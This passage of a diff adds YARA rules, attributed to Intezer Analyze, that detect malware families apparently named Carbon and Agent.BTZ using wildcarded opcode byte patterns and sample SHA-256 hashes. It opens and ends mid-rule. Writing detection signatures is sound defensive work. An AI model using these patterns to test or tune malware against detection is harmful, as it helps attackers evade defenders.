+		$block_17 = { 8B ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? 0F 92 ?? 84 ?? 0F 84 }
+		$block_18 = { 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$block_19 = { 48 ?? ?? ?? E8 ?? ?? ?? ?? 49 ?? ?? ?? 48 ?? ?? 0F 84 }
+		$block_20 = { 48 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 ?? 8B ?? 0F 88 }
+
+	condition:
+		hash.sha256(0, filesize) == "cf3a7d4285d65bf8688215407bce1b51d7c6b22497f09021f0fce31cbeb78986" or
+		12 of them
+}
+
+rule CarbonCommunicationLibrary_v3_62_ {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 8B ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? 83 ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? ?? 0F 8C }
+		$block_1 = { 8B ?? 48 ?? ?? ?? ?? ?? ?? 8D ?? ?? 4C ?? ?? 4C ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$block_2 = { 48 ?? ?? FF 1? ?? ?? ?? ?? 49 ?? ?? 33 ?? 89 ?? ?? ?? FF 1? ?? ?? ?? ?? 49 ?? ?? 48 ?? ?? 0F 84 }
+		$block_3 = { 8D ?? ?? ?? 5? 8D ?? ?? ?? 5? 8D ?? ?? ?? 5? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 84 ?? 0F 84 }
+		$block_4 = { 5? 68 ?? ?? ?? ?? 6A ?? 5? 5? 68 ?? ?? ?? ?? FF 7? ?? FF 1? ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 0F 84 }
+		$block_5 = { 48 ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? E8 ?? ?? ?? ?? 45 ?? ?? 41 ?? ?? 0F 85 }
+		$block_6 = { 48 ?? ?? ?? ?? ?? ?? ?? 0F B7 ?? ?? ?? ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 49 ?? ?? 48 ?? ?? 75 }
+		$block_7 = { 48 ?? ?? ?? ?? ?? ?? 4D ?? ?? 41 ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_8 = { 41 ?? ?? 41 ?? ?? 41 ?? ?? 41 ?? ?? 3B ?? 0F 4C ?? 41 ?? ?? 2B ?? 83 ?? ?? 85 ?? 48 ?? ?? 7E }
+		$block_9 = { 41 ?? ?? 44 ?? ?? 41 ?? ?? 45 ?? ?? 41 ?? ?? 41 ?? ?? 0F 4C ?? 8B ?? 2B ?? 85 ?? 48 ?? ?? 7E }
+		$block_10 = { 44 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 45 ?? ?? 44 ?? ?? 48 ?? ?? ?? ?? 0F 85 }
+		$block_11 = { 48 ?? ?? ?? ?? 5? 5? 5? 41 ?? 41 ?? 41 ?? 41 ?? 48 ?? ?? ?? 48 ?? ?? 48 ?? ?? 83 ?? ?? 0F 8E }
+		$block_12 = { 48 ?? ?? ?? ?? ?? ?? BA ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 40 ?? ?? ?? 85 ?? 0F 44 ?? 40 ?? ?? 74 }
+		$block_13 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 40 ?? ?? 0F 84 }
+		$block_14 = { FF 7? ?? FF 1? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? FF 7? ?? FF 1? ?? ?? ?? ?? 85 ?? 5? 5? 0F 85 }
+		$block_15 = { FF 7? ?? FF 7? ?? FF 1? ?? ?? ?? ?? 5? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 39 ?? ?? 0F 84 }
+		$block_16 = { 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? 0F 86 }
+		$block_17 = { 89 ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? 99 83 ?? ?? 03 ?? 83 ?? ?? 2B ?? 49 ?? ?? 8D ?? ?? ?? 75 }
+		$block_18 = { 48 ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? FF 1? ?? ?? ?? ?? 49 ?? ?? 0F 85 }
+		$block_19 = { 8B ?? 33 ?? 45 ?? ?? 21 ?? ?? ?? 99 45 ?? ?? 45 ?? ?? 4D ?? ?? 41 ?? ?? 85 ?? 4C ?? ?? 7E }
+		$block_20 = { 8B ?? 99 F7 ?? 83 ?? ?? ?? 8A ?? 83 ?? ?? ?? 33 ?? 4? 89 ?? ?? 88 ?? ?? 85 ?? 89 ?? ?? 7E }
+		$block_21 = { 48 ?? ?? ?? ?? ?? ?? 4C ?? ?? BA ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$block_22 = { 48 ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 33 ?? 89 ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 0F 84 }
+		$block_23 = { 44 ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? 41 ?? ?? ?? 49 ?? ?? E8 ?? ?? ?? ?? 3B ?? 0F 84 }
+		$block_24 = { 8B ?? ?? ?? ?? ?? 48 ?? ?? ?? 8D ?? ?? 41 ?? ?? ?? 3B ?? 48 ?? ?? ?? ?? ?? ?? ?? 0F 8C }
+		$block_25 = { 44 ?? ?? 4C ?? ?? 33 ?? 48 ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_26 = { 4C ?? ?? ?? ?? ?? ?? 33 ?? 8B ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? ?? ?? ?? 0F 84 }
+		$block_27 = { 48 ?? ?? B8 ?? ?? ?? ?? 83 ?? ?? ?? 0F 45 ?? 48 ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? 83 }
+		$block_28 = { 44 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 41 ?? ?? ?? 0F B6 ?? ?? 2B ?? ?? ?? ?? ?? ?? 75 }
+		$block_29 = { 48 ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 33 ?? 44 ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 0F 84 }
+		$block_30 = { 8B ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? 8B ?? ?? 99 2B ?? 83 ?? ?? F7 ?? 8D ?? ?? EB }
+		$block_31 = { 5? FF 7? ?? E8 ?? ?? ?? ?? 5? 4? 5? FF 7? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 3B ?? 0F 85 }
+		$block_32 = { 45 ?? ?? 49 ?? ?? 45 ?? ?? 49 ?? ?? 4C ?? ?? ?? ?? 48 ?? ?? ?? ?? 4C ?? ?? 0F 8E }
+		$block_33 = { 48 ?? ?? FF 1? ?? ?? ?? ?? 49 ?? ?? 33 ?? 8B ?? FF 1? ?? ?? ?? ?? 49 ?? ?? 0F 84 }
+		$block_34 = { 41 ?? ?? 48 ?? ?? 41 ?? ?? 3B ?? 0F 4C ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 74 }
+		$block_35 = { 49 ?? ?? 8B ?? 48 ?? ?? ?? 83 ?? ?? 0F A3 ?? ?? 41 ?? ?? 44 ?? ?? ?? 41 ?? ?? 79 }
+		$block_36 = { 48 ?? ?? ?? 45 ?? ?? 41 ?? ?? ?? ?? ?? 49 ?? ?? FF 1? ?? ?? ?? ?? 83 ?? ?? 0F 84 }
+		$block_37 = { 4C ?? ?? ?? ?? ?? ?? ?? BA ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 49 ?? ?? 48 ?? ?? 0F 84 }
+		$block_38 = { 8B ?? ?? 89 ?? ?? 2B ?? ?? 03 ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 5? 89 ?? ?? 0F 84 }
+		$block_39 = { 0F B6 ?? 23 ?? ?? 8B ?? ?? D3 ?? 8B ?? ?? D2 ?? 08 ?? ?? FF 4? ?? 83 ?? ?? ?? 7C }
+		$block_40 = { 8B ?? ?? ?? ?? ?? BF ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 5? 5? FF D? 85 ?? 5? 5? 0F 84 }
+		$block_41 = { 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? 0F B6 }
+		$block_42 = { 48 ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 45 ?? ?? FF 1? ?? ?? ?? ?? 41 ?? ?? 0F 85 }
+		$block_43 = { 5? FF 1? ?? ?? ?? ?? 5? 5? 5? 89 ?? ?? ?? FF D? 3B ?? 5? 5? 89 ?? ?? ?? 0F 84 }
+		$block_44 = { FF 4? ?? 81 6? ?? ?? ?? ?? ?? FF 4? ?? 29 ?? ?? 4? 83 ?? ?? ?? 89 ?? ?? 0F 8F }
+		$block_45 = { 8B ?? ?? ?? ?? ?? ?? 8D ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? ?? 0F 84 }
+		$block_46 = { 48 ?? ?? ?? ?? 41 ?? ?? ?? ?? ?? 49 ?? ?? 45 ?? ?? 41 ?? ?? 48 ?? ?? 0F 84 }
+		$block_47 = { 48 ?? ?? ?? 48 ?? ?? ?? ?? 8B ?? ?? 89 ?? ?? ?? 8B ?? ?? 39 ?? ?? 0F 8F }
+		$block_48 = { 8B ?? ?? 33 ?? 89 ?? ?? 8B ?? ?? ?? ?? ?? 3B ?? 89 ?? ?? 89 ?? ?? 0F 8E }
+		$block_49 = { 5? 8B ?? 83 ?? ?? A1 ?? ?? ?? ?? 5? 5? 33 ?? 33 ?? 3B ?? 89 ?? ?? 0F 84 }
+		$block_50 = { FF 7? ?? 6A ?? FF 3? ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 3B ?? 89 ?? ?? 0F 84 }
+		$block_51 = { E8 ?? ?? ?? ?? 99 B9 ?? ?? ?? ?? F7 ?? 5? FF 1? ?? ?? ?? ?? 83 ?? ?? 72 }
+		$block_52 = { 8B ?? ?? ?? ?? ?? ?? 45 ?? ?? 41 ?? ?? 69 ?? ?? ?? ?? ?? 3B ?? 0F 87 }
+		$block_53 = { 83 ?? ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? 48 ?? ?? ?? ?? ?? ?? ?? 0F 87 }
+		$block_54 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 0F 84 }
+		$block_55 = { 48 ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 85 ?? 8B ?? 0F 85 }
+		$block_56 = { 8B ?? 99 F7 ?? ?? 33 ?? 89 ?? ?? 88 ?? ?? 89 ?? ?? 3B ?? 89 ?? ?? 7E }
+		$block_57 = { 8B ?? 99 B9 ?? ?? ?? ?? F7 ?? 8B ?? ?? ?? 8B ?? 2B ?? 89 ?? ?? ?? EB }
+		$block_58 = { 48 ?? ?? ?? ?? ?? ?? ?? 49 ?? ?? FF 1? ?? ?? ?? ?? 83 ?? ?? 0F 84 }
+		$block_59 = { 48 ?? ?? ?? ?? ?? ?? 33 ?? FF 1? ?? ?? ?? ?? 33 ?? 48 ?? ?? 0F 84 }
+		$block_60 = { 48 ?? ?? ?? ?? 83 ?? ?? 48 ?? ?? ?? ?? 0F 93 ?? 48 ?? ?? ?? 5? C3 }
+		$block_61 = { C6 ?? ?? ?? ?? ?? ?? ?? 0F B7 ?? ?? 66 ?? ?? ?? ?? 48 ?? ?? ?? 75 }
+		$block_62 = { 8B ?? ?? 03 ?? ?? 5? 99 2B ?? 5? 8B ?? ?? 8B ?? D1 ?? 3B ?? 5? 7D }
+		$block_63 = { 5? 8B ?? 83 ?? ?? 5? 33 ?? 5? 8B ?? ?? 39 ?? 89 ?? 89 ?? ?? 0F 84 }
+		$block_64 = { 5? 8B ?? 83 ?? ?? 5? 8B ?? ?? 33 ?? 39 ?? 5? 89 ?? 89 ?? ?? 0F 84 }
+		$block_65 = { 5? FF 1? ?? ?? ?? ?? 5? 5? 5? 89 ?? ?? ?? FF D? 85 ?? 5? 5? 0F 84 }
+		$block_66 = { 0F B7 ?? ?? ?? 5? FF 7? ?? ?? E8 ?? ?? ?? ?? 8B ?? 85 ?? 5? 5? 74 }
+		$block_67 = { 8B ?? ?? 83 ?? ?? 5? 8B ?? ?? 03 ?? E8 ?? ?? ?? ?? 85 ?? 5? 0F 84 }
+		$block_68 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? FF 1? ?? ?? ?? ?? 49 ?? ?? 0F 85 }
+		$block_69 = { 8B ?? ?? ?? 41 ?? ?? ?? ?? 0F BA ?? ?? 83 ?? ?? 41 ?? ?? 0F 8E }
+		$block_70 = { 48 ?? ?? ?? ?? 45 ?? ?? 45 ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_71 = { 48 ?? ?? 44 ?? ?? ?? ?? ?? ?? ?? 4C ?? ?? ?? ?? ?? ?? ?? 0F 8F }
+		$block_72 = { 8B ?? 85 ?? 0F 44 ?? C1 ?? ?? 89 ?? ?? 48 ?? ?? ?? 48 ?? ?? 75 }
+		$block_73 = { 5? FF 1? ?? ?? ?? ?? 5? 5? 5? 89 ?? ?? FF D? 3B ?? 5? 5? 0F 84 }
+		$block_74 = { 8B ?? ?? ?? ?? ?? 33 ?? 3B ?? 89 ?? ?? 89 ?? ?? 89 ?? ?? 0F 8E }
+		$block_75 = { 8B ?? E8 ?? ?? ?? ?? 8B ?? ?? 2B ?? 4? 99 F7 ?? 8B ?? 03 ?? EB }
+		$block_76 = { E8 ?? ?? ?? ?? 99 B9 ?? ?? ?? ?? F7 ?? 5? FF 1? ?? ?? ?? ?? EB }
+		$block_77 = { 8B ?? ?? ?? 45 ?? ?? 41 ?? ?? 69 ?? ?? ?? ?? ?? 3B ?? 0F 87 }
+		$block_78 = { 8B ?? ?? 0F B6 ?? ?? 8D ?? ?? ?? ?? ?? ?? FF 0? 4? 3B ?? 7C }
+		$block_79 = { FF 3? ?? ?? ?? ?? FF 7? ?? E8 ?? ?? ?? ?? 85 ?? 5? 5? 0F 85 }
+		$block_80 = { FF 7? ?? 6A ?? FF 3? ?? ?? ?? ?? FF D? 3B ?? 89 ?? ?? 0F 84 }
+		$block_81 = { 68 ?? ?? ?? ?? FF 7? ?? FF 1? ?? ?? ?? ?? 85 ?? 5? 5? 0F 85 }
+		$block_82 = { 49 ?? ?? 33 ?? FF 1? ?? ?? ?? ?? 49 ?? ?? 48 ?? ?? 0F 85 }
+		$block_83 = { 49 ?? ?? 33 ?? FF 1? ?? ?? ?? ?? 49 ?? ?? 48 ?? ?? 0F 84 }
+		$block_84 = { B9 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$block_85 = { 48 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 4C ?? ?? 0F 85 }
+		$block_86 = { 8B ?? ?? ?? ?? ?? ?? 99 83 ?? ?? 33 ?? 2B ?? 83 ?? ?? 75 }
+		$block_87 = { 48 ?? ?? ?? ?? ?? ?? 48 ?? ?? E8 ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_88 = { 5? 5? FF 3? ?? ?? ?? ?? FF D? 3B ?? A3 ?? ?? ?? ?? 0F 84 }
+		$block_89 = { E8 ?? ?? ?? ?? 99 B9 ?? ?? ?? ?? F7 ?? 8B ?? ?? 2B ?? 2B }
+		$block_90 = { 45 ?? ?? 48 ?? ?? 48 ?? ?? 41 ?? ?? 85 ?? 8B ?? 0F 85 }
+		$block_91 = { 44 ?? ?? 48 ?? ?? 48 ?? ?? 41 ?? ?? 85 ?? 8B ?? 0F 85 }
+		$block_92 = { 48 ?? ?? ?? ?? ?? ?? 33 ?? E8 ?? ?? ?? ?? 3A ?? 0F 84 }
+		$block_93 = { 49 ?? ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$block_94 = { 49 ?? ?? FF 1? ?? ?? ?? ?? 48 ?? ?? 48 ?? ?? 0F 84 }
+		$block_95 = { 48 ?? ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 ?? ?? 0F 84 }
+		$block_96 = { 48 ?? ?? E8 ?? ?? ?? ?? 49 ?? ?? 48 ?? ?? 0F 85 }
+		$block_97 = { 0F B6 ?? ?? 49 ?? ?? 44 ?? ?? ?? ?? 48 ?? ?? 7C }
+		$block_98 = { 48 ?? ?? ?? ?? FF 1? ?? ?? ?? ?? 49 ?? ?? 0F 84 }
+		$block_99 = { 41 ?? ?? 99 83 ?? ?? 03 ?? 83 ?? ?? 2B ?? 0F 85 }
+
+	condition:
+		hash.sha256(0, filesize) == "c58d57f5ce9ca7689e6b71d3dcb48b2caf41a9e7105bb68bae113218869dd6a0" or
+		hash.sha256(0, filesize) == "8d20dd4433821eaeb1b2bec5911ba3633e656ca56ae50b75d35b2d52ea55b2cb" or
+		hash.sha256(0, filesize) == "7a68a6357868f19f698dacd12dea49655f9651fb01e2de4042e8bbc97095c121" or
+		12 of them
+}
+
+rule Agent_BTZ {
+	meta:
+		Author = "Intezer Analyze"
+		Reference = "https://apt-ecosystem.com"
+
+	strings:
+		$block_0 = { 66 ?? ?? ?? D1 ?? 66 ?? ?? ?? ?? ?? ?? ?? 66 ?? ?? 66 ?? ?? 83 ?? ?? 25 ?? ?? ?? ?? 0F B7 ?? 79 }
+		$block_1 = { 8B ?? ?? 8B ?? ?? 5? 68 ?? ?? ?? ?? 5? 5? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_2 = { 83 ?? ?? 5? 5? 5? 5? 8B ?? 68 ?? ?? ?? ?? 6A ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_3 = { 0F B7 ?? ?? ?? 5? 8D ?? ?? ?? ?? ?? ?? 5? A1 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? FF D? 83 ?? ?? 4? EB }
+		$block_4 = { 2B ?? D1 ?? 8D ?? ?? 8B ?? E8 ?? ?? ?? ?? 5? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_5 = { 5? 68 ?? ?? ?? ?? 6A ?? 5? 6A ?? 68 ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? 0F 84 }
+		$block_6 = { E8 ?? ?? ?? ?? 33 ?? F7 ?? 8B ?? 03 ?? 9B 8B ?? ?? 64 ?? ?? ?? ?? ?? ?? 5? 5? 5? 8B ?? 5? C2 }
+		$block_7 = { 6A ?? 5? 5? E8 ?? ?? ?? ?? 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? 81 F? ?? ?? ?? ?? 0F 8D }
+		$block_8 = { 8B ?? ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? 8B ?? ?? 8D ?? ?? ?? ?? ?? ?? 5? FF D? 3B ?? 0F 84 }
+		$block_9 = { 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? 89 ?? ?? 89 ?? ?? 8D ?? ?? 5? 5? FF D? 85 ?? 0F 85 }
+		$block_10 = { E8 ?? ?? ?? ?? 99 B9 ?? ?? ?? ?? F7 ?? 80 C? ?? 88 ?? ?? ?? ?? ?? ?? 4? 81 F? ?? ?? ?? ?? 72 }
+		$block_11 = { 3B ?? 89 ?? ?? ?? ?? ?? ?? C6 ?? ?? ?? ?? C6 ?? ?? ?? ?? C6 ?? ?? ?? ?? C6 ?? ?? ?? ?? 0F 84 }
+		$block_12 = { 66 ?? ?? ?? ?? ?? ?? ?? 66 ?? ?? ?? 66 ?? ?? 66 ?? ?? 83 ?? ?? 25 ?? ?? ?? ?? 0F B7 ?? 79 }
+		$block_13 = { 0F B7 ?? 8B ?? 66 ?? ?? 66 ?? ?? 83 ?? ?? 66 ?? ?? C1 ?? ?? 83 ?? ?? 83 ?? ?? 0F B7 ?? 75 }
+		$block_14 = { 6A ?? 8D ?? ?? 5? 8D ?? ?? ?? ?? ?? 5? A1 ?? ?? ?? ?? 8B ?? ?? FF D? 83 ?? ?? 85 ?? 0F 85 }
+		$block_15 = { BF ?? ?? ?? ?? 8D ?? ?? ?? ?? ?? 8D ?? ?? E8 ?? ?? ?? ?? C6 ?? ?? ?? 8B ?? ?? 85 ?? 0F 84 }
+		$block_16 = { 8D ?? ?? 6A ?? 5? C7 ?? ?? ?? ?? ?? ?? FF D? 5? 8B ?? FF 1? ?? ?? ?? ?? 33 ?? 3B ?? 0F 84 }
+		$block_17 = { E8 ?? ?? ?? ?? 8B ?? 8B ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 83 ?? ?? 0F 85 }
+		$block_18 = { 8B ?? ?? ?? ?? ?? 8B ?? ?? 81 E? ?? ?? ?? ?? 5? 8D ?? ?? ?? 5? 5? FF D? 83 ?? ?? 0F 84 }
+		$block_19 = { 89 ?? ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 3B ?? 0F 84 }
+		$block_20 = { 8D ?? ?? ?? ?? ?? 5? 5? 8B ?? ?? ?? ?? ?? 8B ?? ?? FF D? 83 ?? ?? 89 ?? ?? 85 ?? 0F 85 }
+		$block_21 = { 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8D ?? ?? 8B ?? 8B ?? ?? 5? 5? FF 5? ?? 85 ?? 0F 85 }
+		$block_22 = { 8B ?? ?? 5? FF 1? ?? ?? ?? ?? 8B ?? ?? 68 ?? ?? ?? ?? 5? FF 1? ?? ?? ?? ?? 85 ?? 0F 85 }
+		$block_23 = { 6A ?? 8D ?? ?? ?? ?? ?? 5? A1 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? FF D? 83 ?? ?? 85 ?? 0F 84 }
+		$block_24 = { 8D ?? ?? ?? ?? ?? 5? 8B ?? ?? ?? ?? ?? 5? 8B ?? ?? ?? ?? ?? 8B ?? ?? FF D? 85 ?? 0F 85 }
+		$block_25 = { BA ?? ?? ?? ?? 66 ?? ?? ?? B8 ?? ?? ?? ?? 66 ?? ?? ?? 33 ?? 66 ?? ?? ?? 39 ?? ?? 0F 85 }
+		$block_26 = { E8 ?? ?? ?? ?? 8B ?? 8B ?? 0F AF ?? 4? 33 ?? F7 ?? 4? 01 ?? ?? ?? 81 F? ?? ?? ?? ?? 72 }
+		$block_27 = { 0F B7 ?? ?? ?? ?? ?? ?? 0F B7 ?? ?? ?? 0F B7 ?? 33 ?? 5? C1 ?? ?? 5? 0B ?? 5? 5? C3 }
+		$block_28 = { 0F B6 ?? ?? 0F B6 ?? ?? 83 ?? ?? 03 ?? 03 ?? C1 ?? ?? 0B ?? 0F BE ?? ?? ?? ?? ?? EB }
+		$block_29 = { 8D ?? ?? 8B ?? ?? 8D ?? ?? 8D ?? ?? 8D ?? ?? 8B ?? ?? ?? C1 ?? ?? 03 ?? 3B ?? 0F 8C }
+		$block_30 = { 8B ?? ?? 8B ?? E8 ?? ?? ?? ?? 5? B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 85 }
+		$block_31 = { 66 ?? ?? ?? ?? ?? ?? ?? 66 ?? ?? 66 ?? ?? 0F B7 ?? 0F B7 ?? C1 ?? ?? 0B ?? 5? C3 }
+		$block_32 = { 33 ?? 0F B7 ?? 8B ?? C1 ?? ?? 0B ?? B9 ?? ?? ?? ?? BF ?? ?? ?? ?? F3 ?? 33 ?? EB }
+		$block_33 = { 8D ?? ?? ?? ?? ?? ?? 68 ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_34 = { 68 ?? ?? ?? ?? 89 ?? ?? ?? 89 ?? ?? ?? FF 1? ?? ?? ?? ?? 85 ?? 89 ?? ?? ?? 0F 84 }
+		$block_35 = { 0F B7 ?? ?? C1 ?? ?? 0F B7 ?? ?? 0B ?? 8B ?? ?? 89 ?? ?? ?? ?? ?? 80 3? ?? 0F 85 }
+		$block_36 = { 88 ?? 83 ?? ?? 6A ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? 83 ?? ?? 3B ?? 0F 84 }
+		$block_37 = { E8 ?? ?? ?? ?? 8B ?? 8B ?? 0F AF ?? 4? 99 F7 ?? 4? 03 ?? 81 F? ?? ?? ?? ?? 7C }
+		$block_38 = { C6 ?? ?? ?? 5? 5? 5? E8 ?? ?? ?? ?? 83 ?? ?? C1 ?? ?? 8D ?? ?? 83 ?? ?? 0F 82 }
+		$block_39 = { 8D ?? ?? 5? 5? 8B ?? ?? ?? ?? ?? 8B ?? ?? FF D? 83 ?? ?? 89 ?? ?? 85 ?? 0F 85 }
+		$block_40 = { 8D ?? ?? 5? 5? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? FF D? 89 ?? ?? 85 ?? 0F 84 }
+		$block_41 = { 8D ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_42 = { C6 ?? ?? ?? 33 ?? 89 ?? ?? 89 ?? ?? 88 ?? ?? 8B ?? 8B ?? D3 ?? 83 ?? ?? 0F 84 }
+		$block_43 = { 0F BE ?? 33 ?? 81 E? ?? ?? ?? ?? C1 ?? ?? 33 ?? ?? ?? ?? ?? ?? 4? 4? 85 ?? 75 }
+		$block_44 = { 8B ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 8B ?? 8D ?? ?? 5? 5? FF D? 85 ?? 0F 85 }
+		$block_45 = { 8B ?? ?? 5? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? FF D? 83 ?? ?? 85 ?? 0F 84 }
+		$block_46 = { 8D ?? ?? ?? ?? ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? ?? ?? ?? 3B ?? 0F 85 }
+		$block_47 = { E8 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8B ?? FF 1? ?? ?? ?? ?? 3D ?? ?? ?? ?? 0F 8D }
+		$block_48 = { 0F B7 ?? ?? ?? ?? ?? ?? 66 ?? ?? 8D ?? ?? 81 E? ?? ?? ?? ?? 0F B7 ?? 79 }
+		$block_49 = { 85 ?? C6 ?? ?? ?? ?? C6 ?? ?? ?? ?? C6 ?? ?? ?? ?? C6 ?? ?? ?? ?? 0F 84 }
+		$block_50 = { 81 E? ?? ?? ?? ?? 5? 5? 33 ?? 5? 68 ?? ?? ?? ?? 39 ?? ?? ?? ?? ?? 0F 85 }
+		$block_51 = { 5? 5? FF 1? ?? ?? ?? ?? 8B ?? ?? ?? 33 ?? 8D ?? ?? ?? 0F AF ?? 85 ?? 76 }
+		$block_52 = { 8D ?? ?? 5? 5? A1 ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? FF D? 8B ?? 85 ?? 0F 84 }
+		$block_53 = { 5? 8B ?? C1 ?? ?? 89 ?? ?? 0F B6 ?? ?? ?? 8B ?? 81 E? ?? ?? ?? ?? 79 }
+		$block_54 = { 66 ?? ?? 66 ?? ?? 0F B7 ?? 0F B7 ?? 0F B7 ?? C1 ?? ?? 0B ?? 5? 5? C3 }
+		$block_55 = { 68 ?? ?? ?? ?? 6A ?? 5? E8 ?? ?? ?? ?? 8B ?? ?? 83 ?? ?? 85 ?? 0F 84 }
+		$block_56 = { 8D ?? ?? 5? 5? 8B ?? ?? ?? ?? ?? 8B ?? ?? FF D? 83 ?? ?? 85 ?? 0F 85 }
+		$block_57 = { 8D ?? ?? ?? ?? ?? 5? 6A ?? 8B ?? ?? ?? ?? ?? 5? FF D? 83 ?? ?? 0F 85 }
+		$block_58 = { DF ?? ?? ?? DF ?? ?? ?? D8 ?? DC ?? ?? ?? ?? ?? DF ?? F6 ?? ?? 0F 85 }
+		$block_59 = { BA ?? ?? ?? ?? D3 ?? 8B ?? ?? C1 ?? ?? 0F B7 ?? ?? 23 ?? 3B ?? 75 }
+		$block_60 = { 8D ?? ?? 5? 8B ?? 5? E8 ?? ?? ?? ?? 83 ?? ?? 89 ?? ?? 3B ?? 0F 84 }
+		$block_61 = { 5? 5? 8B ?? ?? ?? ?? ?? 8B ?? ?? ?? ?? ?? FF D? 8B ?? 3B ?? 0F 84 }
+		$block_62 = { 8B ?? ?? ?? ?? ?? ?? C7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 85 ?? 0F 84 }
+		$block_63 = { 88 ?? 83 ?? ?? 6A ?? 5? E8 ?? ?? ?? ?? 8B ?? 83 ?? ?? 3B ?? 0F 84 }
+		$block_64 = { 8A ?? ?? 0F BE ?? 34 ?? 03 ?? 88 ?? ?? 0F BE ?? 03 ?? 4? 3B ?? 72 }
